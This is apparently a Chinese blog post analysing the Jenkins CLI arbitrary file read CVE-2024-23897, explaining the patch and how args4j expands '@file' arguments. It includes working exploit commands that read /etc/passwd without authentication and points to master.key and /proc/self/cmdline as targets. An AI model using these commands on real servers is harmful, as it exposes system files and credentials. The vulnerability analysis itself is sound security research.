浅析Jenkis任意文件读取(CVE-2024-23897)
很久没更新博客了,还是浅浅更新一下
补丁分析
首先从官方公告可以看到漏洞其实来源于CLI工具,同时可以看到用户拥有(Overall/Read)权限可以读取整个文件,而如果没有权限则仅能读取第一行
同时从commit可以看出[SECURITY-3314] · jenkinsci/jenkins@554f037 ,主要对CLICommand.java
做了修改,禁止使用@
符号,那么接下来我们便看看解析的时候是如何处理@
符号
在org.kohsuke.args4j.CmdLineParser#parseArgument
中,调用了expandAtFiles
方法,从名字就能看出是处理@
符号
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061 |
public void parseArgument(String... args) throws CmdLineException { Utilities.checkNonNull(args, "args"); String[] expandedArgs = args; if (this.parserProperties.getAtSyntax()) { expandedArgs = this.expandAtFiles(args); } CmdLineImpl cmdLine = new CmdLineImpl(expandedArgs); Set<OptionHandler> present = new HashSet(); int argIndex = 0; while(cmdLine.hasMore()) { String arg = cmdLine.getCurrentToken(); if (!this.isOption(arg)) { if (argIndex >= this.arguments.size()) { Messages msg = this.arguments.size() == 0 ? Messages.NO_ARGUMENT_ALLOWED : Messages.TOO_MANY_ARGUMENTS; throw new CmdLineException(this, msg, new String[]{arg}); } this.currentOptionHandler = (OptionHandler)this.arguments.get(argIndex); if (this.currentOptionHandler == null) { throw new IllegalStateException("@Argument with index=" + argIndex + " is undefined"); } if (!this.currentOptionHandler.option.isMultiValued()) { ++argIndex; } } else { boolean isKeyValuePair = arg.contains(this.parserProperties.getOptionValueDelimiter()) || arg.indexOf(61) != -1; this.currentOptionHandler = isKeyValuePair ? this.findOptionHandler(arg) : this.findOptionByName(arg); if (this.currentOptionHandler == null) { throw new CmdLineException(this, Messages.UNDEFINED_OPTION, new String[]{arg}); } if (isKeyValuePair) { cmdLine.splitToken(); } else { cmdLine.proceed(1); } } int diff = this.currentOptionHandler.parseArguments(cmdLine); cmdLine.proceed(diff); present.add(this.currentOptionHandler); } boolean helpSet = false; Iterator i$ = this.options.iterator(); while(i$.hasNext()) { OptionHandler handler = (OptionHandler)i$.next(); if (handler.option.help() && present.contains(handler)) { helpSet = true; } } if (!helpSet) { this.checkRequiredOptionsAndArguments(present); } } |
在expandAtFiles
中如果参数以@
开头就会读取@
后对应的文件,并将内容添加到数组result
返回
12345678910111213141516171819202122232425 |
private String[] expandAtFiles(String[] args) throws CmdLineException { List<String> result = new ArrayList(); String[] arr$ = args; int len$ = args.length; for(int i$ = 0; i$ < len$; ++i$) { String arg = arr$[i$]; if (arg.startsWith("@")) { File file = new File(arg.substring(1)); if (!file.exists()) { throw new CmdLineException(this, Messages.NO_SUCH_FILE, new String[]{file.getPath()}); } try { result.addAll(readAllLines(file)); } catch (IOException var9) { throw new CmdLineException(this, "Failed to parse " + file, var9); } } else { result.add(arg); } } return (String[])result.toArray(new String[result.size()]);} |
继续回到CLICommand
,可以看到在解析前有鉴权处理,但如果命令是HelpCommand\WhoAmICommand
的实例那么就不需要权限
123456789 |
sc = SecurityContextHolder.getContext();old = sc.getAuthentication();Authentication auth;sc.setAuthentication(auth = this.getTransportAuthentication2());if (!(this instanceof HelpCommand) && !(this instanceof WhoAmICommand)) { Jenkins.get().checkPermission(Jenkins.READ);}p.parseArgument((String[])args.toArray(new String[0])); |
因此执行java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help @/etc/passwd
或
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ who-am-i @/etc/passwd
当然其实其他指令也是可以的,有了文件读取我们其实能做的就很多了,最常见的读取/var/jenkins_home/secrets/ master.key
,当然可能在其他目录下,这时候我们可以读取/proc/self/cmdline
读取启动
当然后利用不是这篇文章的主题,有空网上多百度看看文章即可
参考链接
https://www.openwall.com/lists/oss-security/2024/01/24/6
https://www.openwall.com/lists/oss-security/2024/01/24/6
- source:y4tacker
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论